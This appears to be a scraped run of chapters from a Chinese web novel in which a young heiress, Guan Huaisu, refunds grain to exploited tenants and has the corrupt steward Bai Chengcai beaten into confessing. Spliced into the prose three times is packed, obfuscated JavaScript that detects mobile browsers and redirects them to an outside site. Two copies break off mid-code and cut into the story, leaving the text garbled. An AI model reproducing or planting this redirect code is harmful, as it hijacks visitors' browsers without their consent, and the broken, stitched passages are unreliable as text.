“你说什么?”关怀素第一次听说如此荒诞的规矩,丁妈妈搬了凳子来,她抚了一下裙子坐下,听到白管事的话,冷笑一声说,“这家里怕小主子站不住,不许太多繁文缛节,免得伤了小辈的福分,加则以示给老人家尊重,对伺候的老人,确实会抬举一些……但是可没说主子家里的人还得认奴才做长辈的规矩。” 关怀素盯着白管事问:“白管事,你如今敢说这个话,他日我一定要问一下祖母……你为何竟敢自称我的长辈,这里面可有什么讲究不成?!” 这话说的可谓是诛心! 毕竟这话说的不好听一点,一个家生子竟然敢妄图以长辈自称……当年可是牵扯到什么阴私?那老夫人敢这么偏帮一个下人,难道真是当年有什么?! 更何况这白管事贪花好色,祸害了一堆大姑娘小媳妇,名声极坏,自己也不讲究,多年下来也没个媳妇。 这话好说,可不好听。 “你、你!”白管事没想到,之前被他几句话骂的只知道哭的大姑娘,居然突然如此牙尖嘴利,而且最可怕的是大姑娘居然一下子从阴私出发,让他竟然是真的一点也不敢再多拿老夫**压这个小主子了! 但是白管事心中愤懑,他素来把庄子当自己的后花园,想如何就如何,且大姑娘来住了几个月,还不是要看他的脸色? 这种主人翁一般的自得和满足早已经让白管事失去了忍让能力,他不敢再拿老夫**压关怀素,却依然还是不肯低头认错,只梗着头想着要用什么办法先把这一关过了。 但是也轮不到他继续想下去了,因为关怀素并不想与白大管事继续纠缠下去,只冷声说:“丁妈妈,一人拉出去打十板子,让白大管事醒醒脑子!” “是!姑娘!”丁妈妈大喜,立刻高声回话。 小厮上前立刻拿人,中途白大管事还想说话,却被丁妈妈脱了布鞋就往他嘴里一塞,恶心的白大管事差点当场厥过去! 很快门外就架好了长凳,把人齐刷刷按下去,然后一人实打实的十板子,都是二十斤上了桐油封的铁木,小厮没收力气,实打实地十板子下去,白大管事养尊处优这么多年,直接就晕了过去。 丁妈妈转身回去回话,又问关怀素:“姑娘,接下来如何安置他们?都关在柴房吗?” “不用,放他们回去。”关怀素拿起一本账本躺在榻上继续看,一边冷声说,“等跛三那头状子准备好了再说。” “哎。”丁妈妈应了一声,出去安排了。 关怀素没说的是,等跛三是一回事,她另一个考量,是白大管事在这庄子上经营十几年,她接手才半个月,总不能把所有白大管事的人都抽出来的。 总得给白大管事一点时间,让他活动活动,免得到时候庄子上没了人,若是有人使绊子或是通风报信什么的,到时候反而给她添麻烦。 当然,这些就没必要特地解释了。 反正这白大管事,看着就不像是能忍气吞声的人。 关怀素想,这几天庄子上,少不得可能得闹腾几天了。 第十章 奸计 关怀素想得没错,白成才被打了十板子,回去之后,发现自个儿屋子被陈渠占了,气得咬牙。 偏身上伤得厉害,白成才咬牙在干儿子屋子里躺了三天,期间召集心腹,问他离去之后发生了什么事儿。 “你说什么?!她把我墙里的钱和账本都拿走了?!”听到关怀素做了什么之后,白成才登时唬得差点跳起来! “完了、完了……”白成才吓得趴在枕头上,冷汗津津地滴下来。 “干爹!”白成才干儿子见他如此惊恐,也十分害怕,忙问,“干爹,到底咋了啊?!” 白成才六神无主地说:“我做的假账怕是被拿去了,大姑娘怕是拿住我的命门了,我只怕是要完了啊!” “那怎么办啊干爹?!”白成才干儿子跟着他,也只会吃喝玩女人,自然顶不住什么事儿,这会儿不但不能出主意,反而朝白成才问起办法来。 “滚!你这个不中用的东西!”白成才心中气急,骂完想了一会儿,心中有了决断。 “账本子拿到了又如何,顶多是我收的赋税多些,那又怎么样,这事儿我在老夫人那儿是过了明路的,至于那些钱财、那些钱本来就是要交给老夫人的,是庄子上放贷的本钱……对对,这些都说得通了!”不得不说,逼到极限之后,脑子确实转得快许多,白成才越说越是心中大定。 对,他实在是不需要多担心,那账本子也不是什么人都会看的,尤其是深闺里大门不出二门不迈的大家闺秀,只怕连鸡蛋能卖几个钱都不知道,就算拿到账本定然也看不出什么问题! 更何况大姑娘性子极其懦弱不说,也似乎从未学过管家,这样一个小姑娘,哪怕被欺负的狠了闹起来,也不足为惧。 想到这里,白管事立刻又振奋起来,冷哼一声对着吓得鹌鹑一样的干儿子呵斥:“杵在这里做什么?难道就让人白打了一顿不成?这事儿我们必须去找回场子!” “还怎么找啊?惊扰了大姑娘,万一到时候抓起来再打几板子咱们可受不住啊……”干儿子说到一半,气的白管事恨不得踹他一脚,锤床怒斥,“你这个没用的东西!一个十几岁的黄毛丫头就把你钳制住了?!” 骂了一顿,看到干儿子和一干心腹都一副怕事儿的样子,气的白管事火气冲头。 “没事儿找姑娘的麻烦作甚?!”白成才虽然生气,但是这会儿指望他们,也只能耐心教他们,“我还是大管事呢!大姑娘不分青红皂白地就收了我所有东西,这庄子如今的主子可是老夫人,咱们难道不该把这事儿告诉老夫人?!” 这话一出,所有人都兴奋起来! “对哦!庄子如今可是老夫人的!”手下顿时兴奋起来,白管事立刻吩咐,“你们去找两个人,别惊动大姑娘,悄悄出去赶快去京师里给老夫人送信!” 吩咐完,又说:“我们也不能坐以待毙,不过是个十几岁的小娘皮,难道还真的听她使唤,日后唯她马首是瞻不成?我们答应老夫人也必然不会答应!” 白大管事这么一说,众人都顿时打起精神来。 他非要给大姑娘一点教训不可,这顿板子可不是好打的! 白成才转瞬便想清楚,冷笑一声,说:“她一个大门不迈二门不出的小丫头,还不是全仰仗下头人办事儿?陈渠那小子贸然接手一个庄子上大大小小的杂事,定然不能面面俱到……我们就往这地方下手,给她点颜色看看!” 几个小厮听着也觉得很不错,顿时兴奋起来,连连点头,那干儿子就说:“对!干爹,我们让柴房不给他们送柴火!哎呀!干爹你为啥打我?!” 白管事怒声说:“你这蠢货闭嘴!在庄子上这么办事,先不说能难为谁,就说你这样做事儿,转头就能被拉去大家一起打板子!” “大管事的意思是……咱们去村里找点事儿?”好在一堆草包里头,还真是有脑子灵光一点的,这会儿琢磨出了白管事的意思,就问出来。 白管事露出了欣慰的神色,转怒为喜说:“对!” 他脸色阴沉下来,冷笑着说:“明儿去庄子上通知两村再交六成租,就说是大姑娘说的,先头的租子不算,如今是大姑娘接手,交到其他人手上的大姑娘都不认!都重新交!” 说完,越想越是十分满意,白成才忍不住大笑出来。 **,他这儿刚商议好,那边已经有小厮报上去,很快就到了关怀素面前。 “姑娘,可需要我派人盯着些白成才?”陈渠也在旁边听着,看小厮拿了赏钱欢天喜地下去,立刻问,“那两个找老夫人的小厮,我已经派人拿下了。” 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“回姑娘,最近我一直在忙这事儿,幸不辱命,如今按姑娘说的,已经买好了今年新产上等粳米四百石左右……只是今年虽米粮丰产价贱,但是最近粳米价又比年头涨了二十多钱,前后花用贵了百两白银左右……”陈渠说到这个有些紧张,连声说,“姑娘,咱们庄子上粳米产出不多,都是中下等粮,若是更一般的作价都快便宜一半了……姑娘何必非买上等粳米呢?” 关怀素看陈渠一副肉疼的样子,笑了一下,说:“无事,大家伙儿这些年都不好过,给他们上等粳米,若是家里地少人多的,换成去岁陈米,好歹也能全家饱足。” 这样就算是今年庄子上的产出愈发不成或是家里人多、遭了积年盘剥后得了这笔,至少熬到下一茬稻子收下来前,也能人人吃上干饭。 若是勤俭一些,还能给家中老人幼子备些细粮吃。 这话关怀素没说出来,但是陈渠显然瞬间就懂了。 他不再劝说,只深深地对关怀素行礼,说:“姑娘仁善。” “罢,东西到了就好,备了马车,明儿一早就赶紧去给大家退粮食吧……”关怀素说着,却突然听到门口传来紧张奔跑的声音。 “姑娘!不好了!刚才我哥哥跑来庄子上,说村里人拿了家伙事,要来庄子上**!”小荷跑得脸色惨白,呼哧呼哧喘着气,连声对关怀素说。 “什么?!”屋里人都是一惊。 第十一章 退粮 “白管事突然跑到村里,说是大姑娘说了这庄子换主人了,先头交的租子不作数,必须重新交六成地租!大家伙儿都说活不下去了,拿着锄头之类的都来了……”小荷不敢大喘气,一口气把事儿全数说清楚。 “这、这……白成才这王八蛋!”陈渠气得脑门上都是汗,吓得声音都变形了,连声呵斥,“他居然敢这样挑拨佃户!” 而且也是他没防备,都没派人过去跟着,谁想到白成才受了伤,居然这么快就去**了! “姑娘,乡下人粗鲁,要不要先离开庄子上避避风头?!”丁妈妈也吓到了,这几十上百号人过来围住庄子,若是处理不好,弄不得就得出大事! 说完,丁妈妈就想着快些收拾一下屋里的东西赶紧走,关怀素却是笑了一下,说:“跑什么?来得正好!” 看两人呆滞,关怀素冷笑说:“陈渠,让人把仓库里的粮食全搬到庄子大门口,在外头那廊下放书桌纸笔。丁妈妈,小荷,和我一起换衣服,拿好账本子!” “姑娘?”陈渠和丁妈妈十分惊慌,一时完全没弄明白关怀素想做什么。 “我本就打算给他们退租,如今不过提前几天罢了。怕什么?快去准备就是!”关怀素说着,已经进屋打算换衣。 “可是姑娘,人那么多,万一**……”陈渠紧张地说,“这稍有不慎,姑娘可能真的会有性命之危啊!” “你们要是怕了,就去叫些不怕的人顶上,别耽误时间了!”关怀素却没时间和他们继续解释,只进屋去利索地换衣服,丁妈妈还在惊恐万分,小荷却冲到屋里,帮着关怀素收拾换衫。 关怀素进屋之后就利索地开始挽头发,除了额前一点额间碎发,后头头发全都梳起来,用一块大棉布头巾包着,成了利索的包髻。 跟着就换衣服,把裙子换下来,换了身旧棉布窄袖长裤,又把外头的四片裙扎在腰间,只留在膝盖上。 这么一打扮,方才明艳的大家闺秀就全然不见了,仿佛是村中随处可见的村姑一般。 她换完催促小荷和丁妈妈,二人见她主意已定,也便立刻匆匆换了衣衫。 二人的衣裙都是补丁挪补丁,三人如今看着像是村里的一家三代人。 匆匆赶到外院,一进院子,就听到围墙外头满是喊打喊杀的声音。 陈渠带着几乎所有小厮都拿着棍子、锄头等东西站在门口,门口门闩挡着不说,还挪了几个巨大的柜子等顶住。 众人全都一脸惊恐,根本不敢开门。 看到关怀素打扮成这样,陈渠立刻上前紧张地说:“姑娘你看,外头已经成这样了,咱们若是开门,只怕顷刻之间就是大祸临头啊!” 关怀素也知道,此时这样出去不理智,她就说:“找个嗓门大的人,我说一句,对外头喊一句。” 只要不让立刻开门就好! 陈渠立刻回头,转头了个小厮上前。 “第一句,对外头说,诸位乡亲是来领退的四成租子吗?每家每户需得当家人来领,且必须列队,一个一个来。不按规矩的,不退租子。喊三遍。”关怀素开口,对那小厮说。 “哎!”小厮答应完,立刻对外面大吼起来,声音果然洪亮,哪怕外面喊打喊杀的声音震天响,也毫不逊色。 第一遍,外面的声音并未被影响。 第二遍,许多声音小了下来。 喊完第三遍,外面已经没有什么喊打喊杀的声音了,但起哄鼓噪的声音依然不绝。 “问外面,村长在哪里?”关怀素又对小厮说。 小厮又开始喊,连喊了三遍,外头才有个粗声粗气的大汉大声回:“村长不在这儿!” “问他们,是不是白管事告诉他们,来领退的租子的,簸箕箩筐这些东西都带了没?”关怀素又低声说。 胖小厮对外头大喊三遍,到了此时,外头是彻底安静下来了。 “不是……白管事不是让我们交租吗?”外头那粗声汉子惊疑不定地问。 “开门!”关怀素觉得火候已到,立刻开口。 陈渠心中害怕,但是看关怀素站在那里,虽小小年纪,却有种凛然之意,按捺下惊疑。一挥手,让众小厮挪开重物、打开门闩。 门一打开,就看到门外站着一群衣衫褴褛的村里人,男女都有,俱都是十分瘦削、衣衫满是补丁。 自先皇开国到陛下继位,大夏这一二十年来都风调雨顺,便是关怀素长大的永年县里,寻常人家也能吃饱饭,却没想到皇城根脚下居然能看到这样凄楚的景色。 关怀素心中一酸,径直走到大门外的走廊处,对着廊下所有人躬身,深深行了一礼,然后她大声说:“诸位,先给各位父老赔个不是!当年我祖父得先皇赐下皇庄,就亲口承诺,佃租永不过二成!前些年,因我年幼不知事,家中长辈代为管这庄子,却没想到下人居然背着我们悄悄在庄子上大肆盘剥,到了前几日我才知道这件事情……这事,是我们关家人对不住各位乡亲,我在此给大家赔不是!” 她这打扮本来就让外头人顿时惊了一下。若是她打扮得富贵,外头那些佃户被盘剥多年,说不定这会儿真的一时愤怒,真的会突然出手攻击。 但是这院墙大门一打开,里面走出一个村里常见打扮的年轻少女,大家当然不会第一时间愤懑,就愣住了一下。 哪怕是被夹在里面准备挑事儿的人,也是被弄得糊涂了一下,忘了说话,这就给了关怀素时间。 这一礼下来,众人哪里遇到过这种事儿?顿时反而手足无措起来。 “这、这……姑娘真不是让我们交租子的?”站在前面那个看着最高壮的汉子就忍不住惊疑地问,“可是白大管事说……” “白成才盘剥庄户,我昨日才派人禀告祖母此事!他大概是知道了,没想到竟然如此胆大包天,竟趁势假传我的意思,看来他是想临走还想勒索乡邻一把再跑!得亏你们来问,否则我关家岂非又因他背负一桩罪孽?真是多谢大家前来!”陈渠震惊地看着大姑娘一脸镇定地说完,再次行了一礼。 三言两语的功夫,竟然把庄户**的事情消弭于无形不说,还把这些人架在了高台上。 起码陈渠看到大部分人都把锄头放下了,脸上都惊疑不定的样子,还有人讷讷地侧身,不敢受大姑娘的礼。 白大管事聪明嚣张十几年,只怕是真正要栽个彻底了,陈渠这一刻终于确信这一点。 果然就只听那边关怀素又说:“大家今儿既然来了,干脆就把退租的事情办了,各家可带了箩筐扁担?粮食已经在院子里了,大家伙儿备好,就可以来领退的租子了。” “这……真的给退四成租子吗?”领头那个男人不敢置信地再次确认。 “有关家人在,佃租永不过二成!这是我祖父立下的规矩!”关怀素扬声说,“各位,如今关家后人接手,此例永不更改!先前是我年幼无暇顾及,委屈大家了!” 她说完,身后众人离开摆好桌案,小厮们也抬着一袋袋粮食出来,早备好的箩筐拿出来,一刀挑开粗麻线,金灿灿的谷子就往那箩筐里倒,一下子就闪花了门口所有庄户的眼睛。 “我、我带了背篓!我是陈二家的!”一妇人看得眼热,哪里还记得什么事儿,立刻拉着自己的男人出来,急匆匆地说,“我们可以领!” “好,一个个来,只要核对账目无误,就可以领退回去的米粮了。”关怀素笑着请他们到面前核对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183287|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这媳妇子就拉着男人站在桌子前激动地等待,很快关怀素就找到了二人的名字,他们家的上田不多,种的稻谷也不过六亩,且这些年收成被糟蹋的厉害,退回来的四成租子是四石八斗。 这也不少了,要知道一个做活儿的男人放开了吃,一个月也才能吃不到一石米呢!这四石可都是米,加点豆子之类的一起煮的话,足够他们一家六口吃到下一茬收成了! 妇人和男人都是大喜,立刻按了手印,立刻走到廊下空地处,找陈渠递条子。 陈渠查验之后,再盖一个红戳,旁边小厮就开始量米,然后一袋一袋地搬谷子出来,四石八斗,加起来足足九袋半粮食。 未免有误差,每袋粮食还挑开了一点线,给两人检查都是上好谷子,这才确定结清。 两人看到满眼金灿灿的谷子,那妇人细细看了九袋半粮食,惊呼出声:“哎呀呀,这些谷子……竟都是上好的粳米啊!” 陈渠憋了半天,这会儿听到妇人发现,立刻大声说:“没错!姑娘说这些年她不在,大家都受了委屈,这回不但足足地退佃租,还都选的上等粳米,姑娘说了,家里有老人孩子的,留着吃也行,若是家里人多的,这粳米拿去换,也能多换些粮食!” 众人本看到二人领了粮食就激动不已,再听到妇人惊叫和陈渠的解释,一个个顿时羞愧不已。 那妇人和她男人也是如此,妇人立刻就恨恨地说:“都怪那白成才,差点让我等误会了姑娘!” “是啊是啊,姑娘不怕,我立刻便带人抓了那白成才来交给姑娘处置!”那领头的汉子当即就跪下来,大声说。 “那就有劳几位壮士了。”关怀素笑着应下。 那领头男人听到这里,立刻磕头,转身招呼了几个兄弟,安排家里的几个儿子领米粮,自己带着人就气势汹汹地杀出去了。 人群里,有几个人就神色紧张地躲开了视线。 都是与白成才关系好、仗着白成才总横行乡里的人,原先在人群里起哄的最厉害,这会儿却屁都不敢再放一个,只跟着打算领粮食。 一户户人家上前喜气洋洋地与她核对之后印上手印,而后便激动地拿着条子去找陈渠。 等到真正看着粮食被小厮搬出来清点,一袋袋地垒到了面前,在场不管男女老少,俱都激动地肩挑手提,飞快地往家里搬动起来。 有些家里地多的,甚至得挑两三趟才能运完! 这一退,两个村子,前前后后居然忙碌了四五天,才把各户多交的粮食全都放还完毕,而这事儿俨然已经成了八仙庄最大的热闹,许多人家甚至还特地自发跑来帮忙,帮着忙前忙后收拾各户退回来的粮食袋子、帮忙给驾陈渠放门口核对的桌凳,差点闹得小厮们都无事可做。 只关怀素在的廊下没人敢上前,但是见到她,都笑嘻嘻地对她行礼。 “若是我回家了还有这种事情,你们只管托人去京师李家找我,我定然不会姑息!”到最后,关怀素站在宅子门口笑着给父老们保证时,一些老人竟激动地痛哭出声。 “关家后人终于长大了,我们总算是盼到头了!” “想当年老先生在的时候,也是这样的好日子啊!” 村里连着炊火燃起来,家家户户舂米煮了干饭,于是便连小孩子都心中知道,是关家的人回来了,他们才又过上了吃上饱饭的日子。 一时之间,八仙庄内,人人庆幸关家后人回来,重新回到了八仙庄。 人心平稳,家家户户吃着干饭庆祝。 而忙完一切的关怀素,终于等到跛三风尘仆仆地带着一叠状纸回来,而关怀素也终于空出手,审问被村人抓回来后就一直关在柴房里的白成才。 第十二章 怒审白管事 白成才被拖出来时,还在虚张声势地大骂:“你们放开我,你们这些王八,吃着老夫人给的饭,却背主!我告诉你们,我已经把你们在庄子上乱来的事情告诉老夫人了!你们今儿若是动我,他日老夫人知道了,定然饶不得你们……哎呀!” 说到最后,白成才惨叫出声,却原来是被跛三当胸一脚,踹得他一个倒滚栽倒在地。 “混账……啊!”白成才滚了一圈,心窝子剧痛,没看清人就破口大骂,“哪个混账,居然欺负到你爷爷我头上了……” “**谁爷爷呢?!睁大你的狗眼看清楚你面前的人是谁!”跛三心中恨他至极,跛着脚上前就又是当胸口一脚,踹的白大管事差点没一口血吐出来! 这就算了,下一刻,跛三竟然还抓着他的头发,一把薅着他的头让他仰起头看自己。 “呵呵,我看清楚了,原来是月兰那**的种……”白成才知道今儿只怕是真的得不了好了,干脆开口挑衅地说。 跛三“**啪”上手就给他一顿耳光,甩完抓着他的头发,强迫他跪在地上,脸朝向廊下。 白成才被强拉着看过去,就看到二院夹道里面的照壁前面,那一丛修竹旁边,太师椅上头一个穿着白裙绿甲袄的年轻姑娘正端坐在上面,鹅蛋脸杏子眼,神情在修竹影影绰绰的光斑下看不清楚。 不是大姑娘又是谁? 白成才虽脸上强装镇定,但是他知道大姑娘居然退粮、安抚庄子上的人,甚至让庄户主动抓他和小厮回来之后,就心中早已经忌惮上了大姑娘。 并且他这几日其实也未必不后悔的。早知道这大姑娘平时看着好欺负,但是逼到极限居然这么狠的话,他就不故意刁难她了啊! 只是这会儿已经成了死仇,白成才知道求饶也没任何转机,只能强撑着说:“大姑娘,我早在五日之前已经派人去禀告老夫人庄子上的事情,算算时间,老夫人派的人应该在路上了……” 他话还没说完,门口就被拎进来两个人,白管事一看,不是他派去通风报信的小厮又是谁?! 关怀素端起茶盏,拨了拨茶沫,只漫不经心地对跛三说:“白管事说的可是这两人?” “那又如何!你不过一个小丫头,还能在庄子上横行一世不成?!最多几月你就得回去,老夫人照样能知道这事儿!你要是今儿对我动手,到时候老夫人定然不会饶你!”白管事惊恐地挣扎大声吼叫,也不知道是威胁关怀素,还是用来说服自己。 “哦?可是那都是几个月后的事儿了,如今这儿是我做主。”关怀素冷笑一声,说,“看来白管事还不明白现在的处境,让他清醒一下。” 跛三巴不得能有这个机会痛打杀害父母的仇人,听到关怀素一说,立刻上前,又是当胸一脚! 白成才十几年养尊处优,完全没有自以为那么抗揍,此刻又被踹一脚,疼得一口老血吐出来,心中已经害怕。 但是他还是不肯放弃,怒声大喝:“我可是你祖母的陪嫁下人!再大的事情也轮不到你一个小辈处置我!” “再打。”关怀素吹着热茶,对跛三说。 跛三可太愿意了,巴不得白成才一直这么下去,他立刻继续拳打脚踢。 直到关怀素在白成才的惨叫声中慢慢喝了一口茶,放下茶盏,跛三才停下来,又抓着白成才的头,让他跪着听训。 “你竟然如此折辱我,我定要告诉老夫人,让她治你不敬长辈之罪!”白成才苦苦坚持,被抓起来,继续说。 “再打。”关怀素只继续说。 在白成才的凄厉喊叫声中,关怀素甚至拿了卷书,略看了几页,继续让白成才说话。 而白成才只要嘴硬,甚至到最后来不及说话,关怀素便只说两个字。 “再打。” “再打。” “再打。” …… 如此重复到第六次的时候,白成才身上已经是一碰就疼得直哆嗦,他再也不敢嘴硬,吐出两颗带血的牙齿之后,连声大喊:“大姑娘,大姑娘饶命!” 关怀素这才放下手里的书,然后看向下头。 “大姑娘饶命,是小的不知死活,在庄子上胡咧咧,差点让人冲撞了大姑娘!”白成才终于被打怕了,他突然意识到了一件事情。 今儿不服软,大姑娘只怕真的敢把他打死!到时候哪怕老夫人知道又怎样,他已经**啊! 意识到这件事情之后,白成才终于再也不敢嘴硬,十几年养尊处优的心气,还有之前刁难大姑娘的那种优越感终于褪尽。 他终于意识到了,他就算再看不起大姑娘,如今生死却真的在对方手上,白成才终于彻底服气,连忙大喊。 “还是在避重就轻,你对我何止是今日冲撞?”关怀素微微冷笑一声,说,“再打!打到他好好说话为止!” 跛三一听,眼底闪耀出喜悦的光,立刻上前,抓着白成才又是几巴掌,直扇的白成才本来就红肿的脸更是肿得透亮,嘴巴里的牙齿也立刻又松动了几颗。 不但如此,跛三多年憋屈,好容易得了机会,下手是越打越狠,又是几脚还不过瘾,甚至上前用脚猛踹白大管事的头,打得白大管事瞬间头嗡嗡作响,只觉得天旋地转。 “大姑娘,我错了,是我小人得志,看大姑娘年轻,不把主子放在眼里!还去庄子上挑拨是非,让大家**,是小人错了,是小人错了啊!”白成才感觉得到,一开始跛三下手还有点分寸,可是随着大姑娘一直沉稳发话喊打之后,跛三下手越来越狠,到现在已经几乎完全不再有理智,他抱着头,生怕被活活打死,最后一丝侥幸也没了,白成才立刻大声求饶起来。 关怀素放下书,跛三喘着气,也强迫自己停下了脚,跛着脚慢慢地走到了旁边。 只剩白成才抱着头,在地上哭求。 “继续说,除了去庄子上挑拨庄户、撺掇**之外,你还有什么罪?”关怀素冷笑一声,开始问。 “还有、还有小的怠慢主子、欺负主子年幼、不给安排院子里烧饭煮水的下人,三日才送一回水,主子想吃点东西,推脱人手不够,故意不给上,还有……”白成才此刻哪里还敢顶嘴,只挖空心思不断想,生怕一句话没说好,真的被活活打死。 这些事情都是关怀素不知道的,关怀素大概猜到了姐姐日子不好过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刮地三尺,你也知道刮地三尺?!”关怀素听到这里已经怒极,她冷笑一声,说,“感情你在外头坏主家名誉,为了自己的私利对着百姓刮地三尺,却还让我给你说多谢不成?!” 此话一出,白成才顿时无言以对,他满头都是汗,心中只想着用什么办法过了这关,却听到上头关怀素冷声说:“你也别想着去哪里搜刮钱财让老夫人保你了。除了贪墨钱财,我还找到了一些苦主,这里全是他们起的诉状。” 白成才一惊,就看到跛三拿了状纸过来,在他面前阴笑着展开。 白成才识得一些平常的字,只稍微看了一下,就看到些熟悉的名字。他两股战战,到这里才生出巨大的恐惧——这都是积年的老事儿了,大姑娘到底是什么时候就在查他、打算对付他了? 而他居然无知无觉,到了被人钉死的时候,才知道大姑娘开始就没打算给他任何生路! “**寡妇、殴打平民、勒索钱财、前前后后足足十三条人命……白成才,你死有余辜!”关怀素怒声拍桌,大喝,“我看老夫人保不保得住你!” 白成才看着眼前的状纸,心中知道他死定了…… 急火攻心,本身酒色财气就掏空的身子再也抵不住,白成才只翻了个白眼,直直晕了过去。 第十三章 传艺 “姑娘,什么时候把这些人都处置了?”白成才被死狗一样拉下去之后,丁妈妈在旁边好奇地问,又恨恨地说,“这些人留着也是白吃粮食,真不想给他们饭吃!” “先留着,再关半个月。”关怀素却如此吩咐。 庄子里外人人喜庆,只有陈渠心中暗暗惊惧,晚上心腹寻来说到采梨酿酒的时候,他便吩咐,不许做任何手脚。 “可这里头倒腾一下,再少也有四五十两白花花的银子呢!”心腹有些舍不得,有些迟疑地说,“再说您前几天不也答应了么?” 陈渠气的就是一巴掌呼在心腹头顶上,只让他敢干就别怪到时候自个儿不客气! 心腹不知道,陈渠前几日是动了心,管事儿怎么可能有银子不捞? 可这几日亲眼看着大姑娘谋定后动,面对白成才那毒计,陈渠都慌神了,姑娘却怡然不惧,不但把事情处理得漂亮,还一口一个关家人回来了…… 其他人看不懂大姑娘,但是陈渠却看得明白,这几日下去,庄子上的人心已经全倒向了关家。 这种谈笑之中收拢所有人的手段,实在是叫陈渠心中胆寒,自然再不敢动小心思。 这头,关怀素趁着梨丰收,很快教完了丁妈妈家人如何酿梨醋。 而后她抽出空来,便带着陈渠在庄子上的地里奔走。 然后陈渠发现大姑娘一路走着,就到了当年老先生设的通渠之处,等到了地方,只稍微看了一下接驳处的东西,大姑娘就上去敲敲打打一番,转头,那地方怎么都无法吻合的老木头就瞬间卡上去,严丝合缝。 “这些年,这些通渠居然荒废得差不多了。”陈渠听大姑娘说着,突然问他,“你父亲当年学的通渠、水道里,是还没学水车制作与维护,所以才荒废了这山上的稻田了吧?” “是。当初学到一半,老先生就辞官回乡了。”陈渠躬身回答,心中咚咚狂跳。 他有一个荒谬的想法,这不太可能。 大姑娘在闺阁之内长大,怎么可能会工匠技艺呢? 但是陈渠又忍不住期待。 然后他听到大姑娘说:“要不要我教你?” 陈渠一愣。 然后他猛地双膝及地,重重一磕头,激动地说:“陈渠,拜谢大姑娘!” 他父亲为他取名为渠,乃因八仙庄连绵几座山内都无明水,山上浇灌极其困难,等到了关老先生来后,做了水车以及汲水水渠,从前头的山那头引了活水来,才把满山的薄田变成了肥田,从此能种稻谷。 可惜父亲技艺未成,老先生就走了。 当初父亲给他取名为渠,心中一直记得这件事情,耿耿于怀,临终亦不能释怀。 陈渠自小自恃聪明,心中也记得父亲的遗愿,未尝不是心中的一大心结。 没想到有朝一日,他竟然真的能圆了这个梦。 此时他跪在地上,在这一刻,他对大姑娘的感激到达了巅峰。 不为钱财、智慧压迫,只为这份与关老先生一样,愿把私人技艺教导与人的宽厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到了庄子上,柳叶才从马车里钻出来,门口的新门子立刻从里面伸头出来,一叠声问:“姑娘哪里人,来八仙庄作甚?” 与之前风气天差地别。 “我是姑娘外祖父家中的丫鬟,奉老先生遗命,前来侍奉关家姑娘。”柳叶温声回答,里头门子立刻便传信过去,没一会儿,里头便有婆子带她进内院请安。 柳叶终于见到了心心念念担心着的姑娘。 姑娘看着又高了一点,但是看脸色并不如在永年县好。 想也知道,姑娘虽自小学了一身本事,但一个人在这地方步步为营,每一步都要仔细思量与筹谋,哪里比得上在永年县的无忧无虑呢? 关怀素一个人在八仙庄这段时间,短短一个半月,已经让八仙庄这些下人基本上都对她服服帖帖,也把各种大事小事安排得差不多。 关怀素一点也没觉得疲惫,只是等到看到柳叶的这一刻,关怀素才猛然从心底深处生出了一股子疲惫来。 “姑娘!”柳叶过来行礼的时候,关怀素拍着她,温声说,“来了就好。” 两人一见,便说一下午的话。 关怀素先是细细问了关于姐姐下葬的事情。听说姐姐下葬用的是上好的楠木,是祖父当初走的时候打棺木剩下的木材,又请了大师做了七七四十九日道场,关怀素心中才放下心来。 可是还没来得及想别的,就听到柳叶说,钟妈妈与他们一起上京了。 只是顾忌庄子上有早年老人,怕认出她,才没来八仙庄,只在京师附近县城里打算赁个屋子住着。 “岂有此理!你和师兄怎么也不劝着她点?!”关怀素一惊,立刻皱眉说,“钟妈妈都已经这个年纪了,身体又不好,怎么如此胡闹!” “钟妈妈说,姑娘您也在胡闹,所以她只能跟着一起胡闹了。”显然对于关怀素的反应,钟妈妈心中十分有数,竟然已经提前跟柳叶说过了自己的回答。 这话把关怀素一下子噎住了。 柳叶叹了口气,又说:“妈妈说大姑娘死的确实蹊跷,还有……妈妈说,她听到大姑娘临终遗言,心中也想到了不对劲的事情,当初娘子的死,如今想起来,确实有一些与李家传来的消息合不上的地方。” 关怀素一听,立刻惊问怎么回事。 却原来是柳叶与孙文书带着李婉玉到家的时候,把钟妈妈吓得差点没昏死过去。 结果知道死的不是关怀素,钟妈妈先是放下心来。 结果一听是大姑娘,又看大姑娘身量小、头发枯黄,便指天骂李珺全家祖宗不是好东西,把个娘胎出来健壮的姑娘养成这样,瞧着竟比先天不足的二姑娘还恓惶可怜! 等到听说了大姑娘临死前的话,钟妈妈更是气得差点没直接挽袖子直接冲上京师与李家人拼命。 “妈妈说,当日她带二姑娘离开时,娘子虽略有疲惫,但是气色尚好,说话有力,且娘子与姑娘您一样,都是跟着老太爷一起走亲访友长大的,爬山也不在话下,在闺阁里的时候身体就比一般男儿还好,生产时也没遭太大的罪。虽说是有崩漏不尽之症,很是折腾,但是如今想想,娘子去得实在是突然。”柳叶说完,又说,“妈妈说,既然大姑娘都这么说,此事只怕真的有猫腻。加上大姑娘死得也是蹊跷,她老人家支持您细查此事!” 